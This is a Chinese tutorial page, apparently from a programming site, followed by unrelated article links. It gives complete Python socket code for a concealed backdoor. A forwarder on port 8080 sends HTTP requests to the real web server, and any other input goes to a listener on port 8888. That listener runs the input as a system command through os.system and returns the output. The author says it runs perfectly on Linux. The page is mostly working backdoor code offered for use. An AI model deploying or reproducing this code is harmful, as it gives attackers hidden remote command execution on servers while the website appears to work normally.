python基于socket進行端口轉(zhuǎn)發(fā)實現(xiàn)后門隱藏的示例
思想:
用戶正常瀏覽器訪問請求通過8080端口,請求若為http請求,則正常轉(zhuǎn)發(fā)到80端口保證網(wǎng)站正常運行。否則轉(zhuǎn)發(fā)到8888端口執(zhí)行系統(tǒng)命令。
8888端口監(jiān)聽代碼:
#!/usr/bin/env python
from socket import *
import os
HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)
tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
while True:
print("waiting for connection...")
tcpCliSock,addr = tcpSerSock.accept()
print("...connected from:",addr)
while True:
data=tcpCliSock.recv(BUFSIZE)
if not data:
break
info = data.split('\n')
command = info[0]
try:
os.system(command + " > command.txt");
file = open('command.txt')
data =""
for line in file:
data=data+line;
tcpCliSock.send(data)
except Exception:
tcpCliSock.send("Nothing to do")
tcpCliSock.close()
tcpSerSock.close()
8080端口轉(zhuǎn)發(fā)代碼:
#!/usr/bin/python
from socket import *
tcp1 = socket(AF_INET,SOCK_STREAM)
tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)
BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
data = tcpCliSock.recv(BUFFER_SIZE)
if 'HTTP' in data:
tcp3 = socket(AF_INET,SOCK_STREAM)
tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp3.connect(('127.0.0.1',80))
tcp3.send(data)
htmlinfo = tcp3.recv(2048)
if not htmlinfo:
tcp3.close()
else:
tcpCliSock.send(htmlinfo)
else:
tcp2 = socket(AF_INET,SOCK_STREAM)
tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp2.connect(('127.0.0.1',8888))
data = data.replace("\n"," ")
print data
tcp2.send(data)
commandinfo = tcp2.recv(1024)
tcpCliSock.send(commandinfo)
tcp2.close()
tcpCliSock.close()
tcp1.close()
有些地方還有些小問題等待修正,但是linux下是可以完美運行的。歡迎學習交流。
以上這篇python基于socket進行端口轉(zhuǎn)發(fā)實現(xiàn)后門隱藏的示例就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關文章
Tensorflow實現(xiàn)卷積神經(jīng)網(wǎng)絡的詳細代碼
這篇文章主要為大家詳細介紹了Tensorflow實現(xiàn)卷積神經(jīng)網(wǎng)絡的詳細代碼,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-05-05
Flask使用Pyecharts在單個頁面展示多個圖表的方法
這篇文章主要介紹了Flask使用Pyecharts在單個頁面展示多個圖表的方法,在Flask頁面展示echarts,主要有兩種方法,文中給大家介紹的非常詳細,需要的朋友可以參考下2019-08-08
pycharm訪問mysql數(shù)據(jù)庫的方法步驟
這篇文章主要介紹了pycharm訪問mysql數(shù)據(jù)庫的方法步驟。文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2019-06-06
python實現(xiàn)無人機航拍圖片像素坐標轉(zhuǎn)世界坐標的示例代碼
已知相機參數(shù)在給定像素坐標的前提下,求世界坐標,大部分通過AI來實現(xiàn),本文給大家分享實現(xiàn)腳本,感興趣的朋友跟隨小編一起看看吧2024-06-06

